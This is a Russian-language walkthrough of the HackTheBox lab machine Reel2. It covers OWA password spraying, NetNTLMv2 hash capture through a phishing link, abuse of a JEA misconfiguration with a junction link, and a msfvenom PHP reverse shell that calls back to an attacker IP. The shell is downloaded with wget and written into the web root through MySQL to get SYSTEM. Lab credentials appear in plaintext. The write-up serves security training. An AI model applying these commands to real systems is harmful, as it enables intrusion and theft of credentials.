Хакер - HTB Reel2. Захватываем машину через Outlook и разбираемся с технологией Just Enough Administration
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Перебор каталогов
- OSINT
- Точка входа
- Брутфорс OWA
- Похищение хеша NetNTLMv2
- Продвижение
- WS-Management
- Just Enough Administration (JEA)
- Credentials dumping
- Повышение привилегий
- Credentials dumping
- Обратный шелл на PHP
- Порт-форвардинг
- Шелл через БД
В этой статье я покажу, как пройти машину Reel2 с площадки HackTheBox, и на ее примере мы познакомимся с векторами атаки на Outlook Web App, научимся генерировать список паролей из инфы о пользователях, поработаем с WS-Management и поищем уязвимости в настройках Just Enough Administration (JEA). Заодно я покажу, как собирать учетные данные на хосте, перенаправлять трафик приложения и делать шелл с помощью базы данных.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Машина Reel2 имеет IP-адрес 10.10.10.210 — я добавлю его в /etc/hosts, чтобы можно было обращаться к хосту по имени.
10.10.10.210 reel2.htb
Любая атака начинается со сканирования открытых на хосте портов. Это необходимо для того, чтобы узнать, какие службы принимают соединение. Исходя из полученной информации, мы будем выбирать путь для получения точки входа и опоры. Я это делаю с помощью следующего скрипта, который использует утилиту Nmap и принимает один аргумент — адрес сканируемого хоста. Сначала он выполняет быстрое сканирование портов, затем сканирует найденные порты с использованием имеющихся скриптов.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

В результате сканирования имеем следующий список открытых портов:
- порт 80 — веб‑сервер Microsoft IIS 8.5;
- порт 443 — обычно еще один порт веб‑сервера, но с использованием SSL;
- порт 5985 — этот порт отвечает за службу удаленного управления WinRM;
- порты 6001...6021 — не интересуют;
- порт 8080 — веб‑сервер Apache.
Естественно, начинаем с веб‑сервера. Так, при обращении к корневому каталогу веб‑сервера нас встречает стартовая страница IIS.

Перебор каталогов
У IIS есть несколько дефолтных каталогов (к примеру, /owa — Microsoft Outlook), но все равно стоит просканировать доступные каталоги. Для этого можно использовать широко известные программы dirsearch и DIRB, но я обычно использую более быстрый gobuster. При запуске используем следующие параметры:
dir— сканирование директорий и файлов;-k— не проверять SSL-сертификат;-t []— количество потоков;-u []— URL-адрес для сканирования;-x []— интересующие расширения файлов, перечисленные через запятую;-w []— словарь для перебора;—timeout []— время ожидания ответа.
gobuster dir -t 128 -u https://reel2.htb/ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,aspx --timeout 30s

В результате находим каталог owa.

На IIS мы нашли все что могли, а так как пользовательских веб‑приложений не обнаружено, то переходим на веб‑сервер Apache.
OSINT
Порт 8080 вызывает больший интерес, так как на этом сайте мы можем зарегистрироваться, а это даст доступ к дополнительным функциям.

Даже если сайт не имеет никаких уязвимостей, он может содержать полезную информацию. Например, имена пользователей, используемые технологии, косвенную информацию для составления списка паролей. Поэтому сразу после регистрации и авторизации останавливаемся на пользователях.

Найти вектор для дальнейшей атаки было тяжело, поэтому я решил перебрать учетные данные Outlook. Для составления списка паролей используем всю косвенную информацию. У пользователя sven данных больше, чем у других.

Создадим для него список возможных логинов. Комбинируя все возможные сочетания имени Sven Svensson, мы можем создать следующий список.

Для создания паролей я попробовал утилиту bopscrk. Суть программ такого рода в том, что мы скармливаем им разные словари, последовательности символов или даже правила составления паролей, а они генерируют словарь для брута. Как видно на скриншоте ниже, я указал значение следующих параметров:
- минимальная длина пароля — 6;
- первое имя — sven;
- второе имя — svensson;
- релевантные слова через запятую — this, 2020, summer, hot;
- использовать leet-транскрипцию (когда, к примеру, буква е заменяется на цифру 3, g — на 9 и так далее) — отказываемся;
- использовать транскрипцию в разных регистрах — да;
- количество слов для комбинирования — 3.
В итоге мы получаем словарь, содержащий 9204 варианта пароля!

В результате мы получили два файла для перебора учетных данных пользователя — с логинами и с паролями.
ТОЧКА ВХОДА
Брутфорс OWA
Если не знаешь, что использовать для брута, бери на заметку отличное средство — SprayingToolkit. Этот тулкит включает в себя несколько модулей. Нам нужен модуль Atomizer, который используется для брута Lync, OWA и IMAP. Запускаем со следующими параметрами:
owa— для перебора Outlook Web App;reel2.htb— корневой для каталога/owaадрес;~/tmp/bopscrk/tmp.txt— список паролей;~/tmp/user.txt— список логинов;-i [H:M:S]— временной интервал между запросами;-t []— количество потоков.
python3 atomizer.py owa reel2.htb ~/tmp/bopscrk/tmp.txt ~/tmp/user.txt -i 0:0:1 -t 64

Перебор занимает некоторое время, но все же находим верную пару учетных данных. Automizer сохранит все найденные учетные данные в файл owa_valid_accounts.txt.

Похищение хеша NetNTLMv2
Этот вектор долго искать не пришлось — после осмотра почтового ящика был сделан выбор в пользу фишинга. В реальной жизни здесь работали бы разные способы — к примеру, отправка офисных документов или HTML с нагрузкой. В лабораторных условиях это невозможно, но существует эмуляция, которая сработает, если отправить обычную ссылку. Рассылаем ее по всем доступным адресам и ждем обращения к ресурсу. Во время его клиент автоматически предоставит для аутентификации хеш пароля NetNTLMv2.
Мы сможем отловить этот хеш и при помощи брутфорса получим пароль. В качестве листенера, эмулирующего ресурс, используем утилиту Responder, которой достаточно будет передать один параметр -I — сетевой интерфейс.
sudo responder -I tun0
Теперь выполняем многоадресную рассылку, а в текст сообщения ставим ссылку на любой файл, якобы находящийся на нашем ресурсе. Спустя несколько секунд в окне Responder появится желанный хеш.


Далее по плану ломаем хеш. Я для этих целей обычно использую hashcat, но эта утилита требует указать тип хеша. К счастью, можно свериться со справкой — выводим примеры хешей, фильтруем по слову NetNTLMv2 и указываем найденный номер.
hashcat --example | grep -A 2 -B 2 NetNTLMv2

Мы узнаем режим: 5600; к тому же нам показывают хеш, который визуально по структуре похож на тот, что мы получили в Responder. Пришло время крякнуть его!
Для перебора будем использовать все тот же hashcat со следующими аргументами:
-a 0— режим перебора, нулевой означает по словарю;-m []— режим, тут указываем тип хеша, полученный ранее;ksven.hash— файл, в котором записан хеш (хеши);rockyou.txt— словарь с возможными паролями.
hashcat -a 0 -m 5600 ksven.hash ./tools/rockyou.txt

ПРОДВИЖЕНИЕ
WS-Management
У нас есть учетные данные пользователя Outlook, а это с высокой вероятностью учетная запись пользователя домена. В таком случае осталось определиться со способом интерактивного управления машиной. Помнишь открытый порт 5985? На нем по протоколу WS-Management работает служба удаленного управления. А получить интерактивную командную оболочку поможет PowerShell Enter-PSSession.
Enter-PSSession -Computer 10.10.10.210 -Credential k.svensson -Authentication Negotiate

Вот только выполнить стандартные команды не выходит. Набираем command, чтобы посмотреть, что мы можем сделать.

Но и это не проблема, так как мы можем использовать PowerShell ScriptBlock, а именно конструкции вида &{команда}. В качестве подтверждения того, что мы захватили пользователя, получаем файл user.txt.

Just Enough Administration (JEA)
Нужно осмотреться на хосте, чтобы найти вектор для продвижения. К примеру, в текущей директории находим файл Windows PowerShell Session Configuration.

Технология Just Enough Administration (JEA) позволяет делегировать административные полномочия на все, чем можно управлять с помощью PowerShell, и дать пользователям права на выполнение определенных административных задач, не предоставляя им права администратора сервера или службы. С помощью JEA можно указать, каким пользователям разрешено запускать определенные командлеты, функции или скрипты PowerShell с правами привилегированных пользователей, а также подробно логировать все действия (вроде истории команд).
Давай разберемся с jea_test_account.pssc.

- Директива
SessionTypeимеет значениеRestrictedRemoteServer, что позволит использовать следующие командлеты PowerShell:Clear-Host,Exit-PSSession,Get-Command,Get-FormatData,Get-Help,Measure-Object,Out-DefaultиSelect-Object(их мы уже видели в выводе командыcommandтекущего пользователя). - Параметр
TranscriptDirectoryзакомментирован, а в нем указывается директория, в которую сохраняются логи. - Опция
RunAsVirtualAccountпозволяет запускать команды от имени виртуального аккаунта администратора (члена локальной группы или Administrator, или Domain Admin). - В директиве
RoleDefinitionsнужно указать группу безопасности AD, для которой разрешено подключаться к данной сессии PowerShell, и название роли JEA, которое должно соответствовать имени файла PSRC.
Теперь перейдем к файлу PowerShell Role Capabilities, который содержит описание роли. В нем указывается, что разрешено делать в рамках сессии JEA. В нашем случае там определена функция Check-File, которой нужно передать путь к файлу в качестве аргумента, и если он соответствует одной из масок D:\* или C:\ProgramData\*, то в результате будет возвращено содержимое файла.

Теоретически мы можем получить любой файл из этой директории, так как команда выполнится с привилегиями администратора, но необходимо решить две проблемы:
- путь к файлу соответствует одной из масок;
- необходима сессия jea_test_account.
Первая проблема легко решается использованием ссылок. Мы можем закинуть файл‑ссылку в папку ProgramData, а указывать он будет на директорию админа. Для решения второй проблемы нужно искать информацию на хосте, вероятно в каталогах текущего пользователя, так как файлы конфигурации сессии тестового пользователя тоже расположены у текущего юзера.
Credentials dumping
Обращаем внимание на ярлык Sticky Notes (приложение для заметок) на рабочем столе пользователя. Sticky Notes хранит пользовательские данные в директории AppData\Local\stickynotes. И в логах находим учетные данные нужного нам пользователя.



Как и планировали, создаем ссылку на директорию админа.
New-Item -ItemType Junction -Path 'C:\ProgramData\Admin' -Target 'C:\Users\Administrator'
А теперь вернемся в локальную консоль и создадим новую сессию jea_test_account.
$username = "jea_test_account"
$password = ConvertTo-SecureString "Ab!Q@vcg^%@#1" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $password)
Enter-PSSession -Computer 10.10.10.210 -credential $creds -ConfigurationName jea_test_account -Authentication Negotiate
В новой сессии выполним разобранную ранее функцию, чтобы забрать файл админа и подтвердить порождение машины.

На данном этапе прохождение машины можно считать законченным. Но... Я так и не получил контроль над ней, поэтому продолжаем!
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Credentials dumping
Я решил поискать учетные данные дальше. Существует место, где они есть всегда, — файлы с настройками для подключения к базе данных. Если мы получим админскую учетку, мы запишем шелл в директорию веб‑сервера и выполним его от имени System. Нужно найти этот файл, а как прочитать, мы уже знаем. Сайт, на котором мы регистрировались, построен на CMS Wallstant, которую мы находим на GitHub. И в директории сonfig будет лежать файл connect.php с нужными нам настройками.

Остается узнать путь к корневой директории CMS в xampp. Так как сайт расположен на порте 8080, то это будет отмечено в конфигурационном файле веб‑сервера xampp\apache\conf\httpd.conf, а в директиве DocumentRoot будет указан путь к корневой директории сайта. Давай линканем директорию C:\xampp от имени первого пользователя.
New-Item -ItemType Junction -Path 'C:\ProgramData\xampp' -Target 'C:\xampp\
А теперь перейдем к сессии тестового юзера и просмотрим этот файл конфигураций.
check-file c:\programdata\xampp\apache\conf\httpd.conf

Теперь, зная корневую директорию social, смотрим файл connect.php. В нем обнаруживаем учетные данные, которые мы искали.

Обратный шелл на PHP
Теперь сгенерируем PHP-шелл, который будем выполнять в контексте службы. В случае с PHP можно легко сгенерировать шелл с помощью msfvenom со следующими параметрами:
-p []— используемая нагрузка (конечно, берем Meterpreter);LHOST=[]— IP-адрес локального хоста;LPORT=[]— локальный порт;-f []— формат, в котором будет представлена нагрузка.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.45 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
И запустим листенер, который будет ожидать обратного подключения от нагрузки. Для быстрого запуска из metasploit используем handler с параметрами, указанными при создании нагрузки.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.45 -P 4321

Порт-форвардинг
Чтобы подключиться к базе данных, лучше всего пересылать весь трафик с порта сервера на порт локального хоста (Port Forwarding), сделать что‑то вроде тоннеля. Для этого будем использовать chisel. Эту программу нужно будет загрузить на хост. Кидаем в одну директорию chisel.exe и сгенерированный PHP-шелл, а потом запускаем простенький веб‑сервер.
python3 -m http.server
Эта команда откроет веб‑сервер, который будет слушать порт 8000. А с удаленного хоста загрузим и программу, и шелл, причем шелл сразу в директорию C:\ProgramData.
&{wget 10.10.14.45:8000/chisel.exe -O chisel.exe}
&{wget 10.10.14.45:8000/r.php -O C:\programdata\r.php}
Работать с chisel очень просто, мы запускаем утилиту на двух устройствах следующим образом.
- При запуске на локальном хосте указываем, что являемся сервером, указываем порт и опцию ожидания подключения от клиента.
./chisel.bin server -p 4321 --reverse

- На хосте‑клиенте указываем соответствующую опцию, а также адрес и порт сервера для подключения. Затем идет последовательность, которая означает, что порт 3306 сервера будет связан с портом 3306 локального хоста.
&{.\chisel.exe client 10.10.14.45:4321 R:3306:127.0.0.1:3306}


Шелл через БД
Теперь, используя встроенный клиент MySQL, подключимся к базе данных. При подключении используем следующие аргументы:
-h []— хост для подключения (коннектимся к локальному, так как соединение будет ретранслироваться на удаленный);-u []— пользователь;-p []— имя базы данных;--password=[]— пароль;
mysql -h 127.0.0.1 -u root -p Wallstant --password=Gregswd123FAEytjty
После подключения нужно записать наш шелл в директорию веб‑сервера. Алгоритм действий простой:
- Создаем таблицу.
- Создаем в таблице запись, которую считываем из файла с шеллом.
- Эту запись пишем в файл на веб‑сервере.
create table phpshell (line blob);
insert into phpshell values(load_file('/programdata/r.php'));
select * from Wallstant.phpshell into dumpfile '/xampp/htdocs/social/r.php';
После размещения файла на сервере обратимся по URL http://10.10.10.210:8080/r.php. Это приведет к активации шелла и получению сессии Meterpreter. На скриншоте ниже видно сообщение о подключении и активации сессии. Командой sessions -i 1 мы переходим к созданной сессии и с помощью getuid убеждаемся, что работаем в контексте System с максимальными привилегиями.

Таким путем мы захватываем Reel2 и имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei